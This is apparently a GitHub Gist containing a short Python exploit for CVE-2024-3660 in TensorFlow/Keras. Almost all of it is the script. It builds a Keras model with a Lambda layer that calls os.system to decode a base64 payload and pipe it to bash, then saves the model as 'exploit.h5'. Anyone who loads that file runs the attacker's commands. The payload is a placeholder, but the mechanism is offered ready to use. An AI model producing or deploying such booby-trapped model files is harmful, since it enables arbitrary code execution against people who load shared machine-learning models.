Skip to content

Instantly share code, notes, and snippets.

@Reelix
Created June 23, 2025 15:12
Show Gist options
  • Save Reelix/27bb37322d89058d8da4751207a95f2c to your computer and use it in GitHub Desktop.
Save Reelix/27bb37322d89058d8da4751207a95f2c to your computer and use it in GitHub Desktop.
Tensorflow Model Exploit
// https://Www.Oligo.Security/Blog/Tensorflow-Keras-Downgrade-Attack-Cve-2024-3660-Bypass
// https://nvd.nist.gov/vuln/detail/CVE-2024-3660
import tensorflow as tf
def exploit(x):
import os
os.system("echo base64codehere|base64 -d|bash")
return x
model = tf.keras.Sequential()
model.add(tf.keras.layer.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment